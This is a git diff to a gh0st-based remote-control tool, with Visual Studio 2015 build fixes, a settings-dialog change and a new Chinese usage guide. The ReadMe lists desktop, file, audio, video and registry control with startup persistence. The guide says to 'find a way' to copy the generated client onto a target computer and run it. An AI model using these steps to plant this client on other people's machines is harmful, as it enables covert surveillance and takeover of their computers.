diff --git a/ReadMe.txt b/ReadMe.txt index df4e060..4bd3a70 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -1,4 +1,4 @@ -[简介] +[简介] 基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。 @@ -213,3 +213,6 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足 2019.5.11 优化远程桌面发送屏幕的功能,可动态调整发送屏幕的速率。 + +2019.8.25 +调整项目设置,解决采用VS2015编译时某些项目不通过的问题。 diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index dd306da..846f066 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -44,16 +44,18 @@ $(WindowsSDK_IncludePath);$(IncludePath) $(WindowsSDK_LibraryPath_x86);$(LibraryPath) + $(Configuration)\dll $(WindowsSDK_LibraryPath_x86);$(LibraryPath) $(WindowsSDK_IncludePath);$(IncludePath) + $(Configuration)\dll Level3 Disabled - ./;%(AdditionalIncludeDirectories) + ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) MultiThreadedDebug ZLIB_WINAPI;%(PreprocessorDefinitions) true @@ -72,7 +74,7 @@ true true MultiThreaded - ./;%(AdditionalIncludeDirectories) + ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 0cb4be7..23388d3 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -43,10 +43,12 @@ $(WindowsSDK_IncludePath);$(IncludePath) $(WindowsSDK_LibraryPath_x86);$(LibraryPath) + $(Configuration)\test $(WindowsSDK_IncludePath);$(IncludePath) $(WindowsSDK_LibraryPath_x86);$(LibraryPath) + $(Configuration)\test diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user index 1c3ab07..5c4975f 100644 --- a/client/ghost.vcxproj.user +++ b/client/ghost.vcxproj.user @@ -2,7 +2,7 @@ WindowsLocalDebugger - 127.0.0.1 2356 + 127.0.0.1 6543 WindowsLocalDebugger diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 39eae70..689ddaf 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index baecf11..bec4317 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -96,3 +96,11 @@ void CSettingDlg::OnEnChangeEditMax() ::ShowWindow(hApplyButton,SW_NORMAL); ::EnableWindow(hApplyButton,TRUE); } + + +void CSettingDlg::OnOK() +{ + OnBnClickedButtonSettingapply(); + + CDialog::OnOK(); +} diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index e16f426..a75622e 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -27,4 +27,5 @@ public: afx_msg void OnEnChangeEditPort(); afx_msg void OnEnChangeEditMax(); CButton m_ApplyButton; + virtual void OnOK(); }; diff --git a/使用方法.txt b/使用方法.txt new file mode 100644 index 0000000..196cfb8 --- /dev/null +++ b/使用方法.txt @@ -0,0 +1,17 @@ +【使用方法】 + +首先请编译这4个项目,确保都成功通过,然后到生成目录,例如Debug(或Release)。 + +1、打开Yama应用程序,点击Yama应用程序的“生成客户端”图标; + +2、填写目标IP(可以填域名,例如www.baidu.com)和端口(例如6666); + +3、点击“确定”,这时候会在Debug目录生成一个名为"ClientDemo.exe"的可执行程序; + +4、想办法把"ClientDemo.exe"和"ServerDll.dll"一起拷贝到想要被控制的电脑,运行起来; + +5、把Yama拷贝到目标IP的机器运行起来,点击设置菜单,设置端口号为6666,点击“应用”或“确定”按钮; + +6、重启Yama,等待被控电脑连接,如果有电脑运行了"ClientDemo.exe",则会在界面显示。 + +2019-8-25